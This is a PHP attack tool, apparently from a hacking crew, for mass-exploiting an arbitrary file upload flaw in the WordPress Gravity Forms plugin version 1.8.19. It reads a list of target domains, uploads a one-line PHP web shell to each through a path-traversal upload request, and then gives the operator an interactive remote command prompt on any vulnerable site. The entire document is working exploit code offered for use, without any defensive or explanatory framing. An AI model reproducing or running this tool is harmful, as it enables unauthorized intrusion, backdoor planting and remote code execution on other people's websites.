[AFU] WordPress Gravity Forms 1.8.19

<title>Wordpress Gravity Forms | AFU | Vuln .8.19</title>
<body bgcolor=silver><center><div style=background:black;margin:0px;padding:4px;text-align:center;color:silver;><i><b><font color=lime>&copy; </font><a href=mailto:[email protected]>AZZATSSINS CYBERSERKERS</a></b></i></div><br><br>
    <form method='POST'>
    <textarea name='sites' cols='45' rows='15'></textarea>
<br>
    _______________________________________________________________
<br><input style="background:dodgerblue;margin:1px;width:15%;padding:0px;color:#fff;border:0;font-weight:bold;" value="EXECUTE" type="submit"><br><br><br>
    </form>

<?php
error_reporting(0);
@set_time_limit(0);
$domains = explode("\r\n", $_POST['sites']);

foreach($domains as $domain) {

$domain = trim($domain);
$url       = "$domain/?gf_page=upload";
$shell     = "$domain/wp-content/_input_3_azzatssins.php5";
$separator = '-----------------------------------------------------';

$ch = curl_init($url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, '<?=system($_GET[0]);?>&form_id=1&name=azzatssins.php5&gform_unique_id=../../../../&field_id=3');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

if (eregi('ok', $response)) {
    echo "$separator\nShell at $shell\n$separator\n\n";
    while ($testCom != 'bubye!') {
        $user = trim(get_string_between(file_get_contents("$shell?0=echo%20'~';%20whoami;%20echo%20'~'"), '~', '~'));
        echo "$user@b0x:~$ ";
        $handle  = fopen("php://stdin", 'r');
        $testCom = trim(fgets($handle));
        fclose($handle);
        $comOut = trim(get_string_between(file_get_contents("$shell?0=echo%20'~';%20" . urlencode($testCom) . ";%20echo%20'~'"), '~', '~')) . "\n";
        echo $comOut;
    }
}
else {
    die("$separator\n$domain doesn't seem to be vulnerable! :(\n$separator");
}

function get_string_between($string, $start, $end)
{
    # stolen from stackoverflow!
    $string = " " . $string;
    $ini    = strpos($string, $start);
    if ($ini == 0)
        return "";
    $ini += strlen($start);
    $len = strpos($string, $end, $ini) - $ini;
    return substr($string, $ini, $len);
}
}
?>